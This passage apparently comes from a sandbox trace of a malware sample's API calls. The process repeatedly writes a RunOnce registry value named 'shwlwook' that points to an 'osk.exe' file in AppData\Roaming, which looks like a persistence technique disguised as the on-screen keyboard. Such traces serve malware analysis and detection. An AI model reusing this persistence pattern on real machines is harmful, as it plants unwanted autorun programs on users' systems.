_mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.743] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.743] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.743] RegCloseKey (hKey=0x14c) returned 0x0 [0258.744] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.744] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.767] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.767] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.768] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.768] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.768] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.768] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.769] RegCloseKey (hKey=0x14c) returned 0x0 [0258.769] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.769] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.789] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.789] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.789] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.790] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.790] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.790] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.790] RegCloseKey (hKey=0x14c) returned 0x0 [0258.790] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.791] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.805] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.805] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.805] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.806] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.806] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.806] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.806] RegCloseKey (hKey=0x14c) returned 0x0 [0258.806] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.807] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.820] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.820] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.821] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.821] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.821] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.822] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.822] RegCloseKey (hKey=0x14c) returned 0x0 [0258.822] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.822] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.836] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.836] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.836] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.837] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.837] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.837] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.837] RegCloseKey (hKey=0x14c) returned 0x0 [0258.838] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.838] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.851] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.851] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.852] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.852] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.852] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.853] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.853] RegCloseKey (hKey=0x14c) returned 0x0 [0258.853] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.853] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.867] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.867] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.867] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.868] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.868] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.868] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.868] RegCloseKey (hKey=0x14c) returned 0x0 [0258.869] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.869] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.883] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.883] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.883] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.884] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.884] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.884] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.884] RegCloseKey (hKey=0x14c) returned 0x0 [0258.884] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.885] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.898] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.898] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.899] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.899] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.899] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.900] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.900] RegCloseKey (hKey=0x14c) returned 0x0 [0258.900] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.900] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.914] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.914] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.914] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.915] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.915] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.915] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.915] RegCloseKey (hKey=0x14c) returned 0x0 [0258.915] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.916] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.930] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.930] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.930] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.930] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.931] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.931] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.931] RegCloseKey (hKey=0x14c) returned 0x0 [0258.931] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.932] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.945] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.945] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.945] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.946] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.946] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.946] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.946] RegCloseKey (hKey=0x14c) returned 0x0 [0258.947] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.947] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.961] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.961] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.961] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.962] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.962] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.962] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.962] RegCloseKey (hKey=0x14c) returned 0x0 [0258.962] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.963] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, 